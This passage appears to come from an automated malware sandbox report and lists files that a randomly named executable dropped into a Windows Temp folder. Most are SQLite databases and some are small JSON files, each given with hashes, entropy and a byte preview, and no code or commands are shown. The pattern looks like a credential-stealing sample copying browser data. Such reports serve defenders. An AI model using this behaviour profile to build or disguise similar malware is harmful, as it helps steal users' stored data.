File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\s0nrf9Mx6B

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sBHeiCx2CZ

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sH3E5wHjx1

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sOnNpB0MxU

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sh9mq7QGRG

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\t0JFZEhR71

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\t4arWcrar7

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tqnPCGPwgY

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uErXkMF0VN

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uPrJWawJkU

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\uQnBwkBa6W

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\uaKvERIN7e

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uafqJiFAxY

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uapuFKvsCp

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\v1ufzUQx4z

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.483856189774723
Encrypted:	false
SSDEEP:	3:BagsA/S9mK:GA/E
MD5:	66C84EB3D38688888EADF24A8C149A28
SHA1:	7119CEF07A49973A33377001CE76D08CED1ED24B
SHA-256:	385DD4C6186B6CD095593846F12E3769041B7D6A61239EA73B84A1DD9EB6EA6D
SHA-512:	FBF436F6957CCFE9D8F6E6AA2DED419E35088CA19238C32E9BC78504EB73F3AF8A27DEB0FB873CC6C295DD7C324F1D386776E87742614CE7D02C62AB9D56F162
Malicious:	false
Preview:	5BrMAvEOtYiiG4WlTKvjkqXCo

C:\Users\user\AppData\Local\Temp\vNIgmF4Ovv

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w5QED4PfBB

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w7XLraonVC

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\wJ8mWpH4Fe

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wNgB9l8VGd

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wmBLmAgN7e

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x3OTL17OVg

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xPCS5RR3z2

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xY1sYJAphS

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xcBvfQU2eU

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\xyrLZlcQ58

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yQjyLF18Yf

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
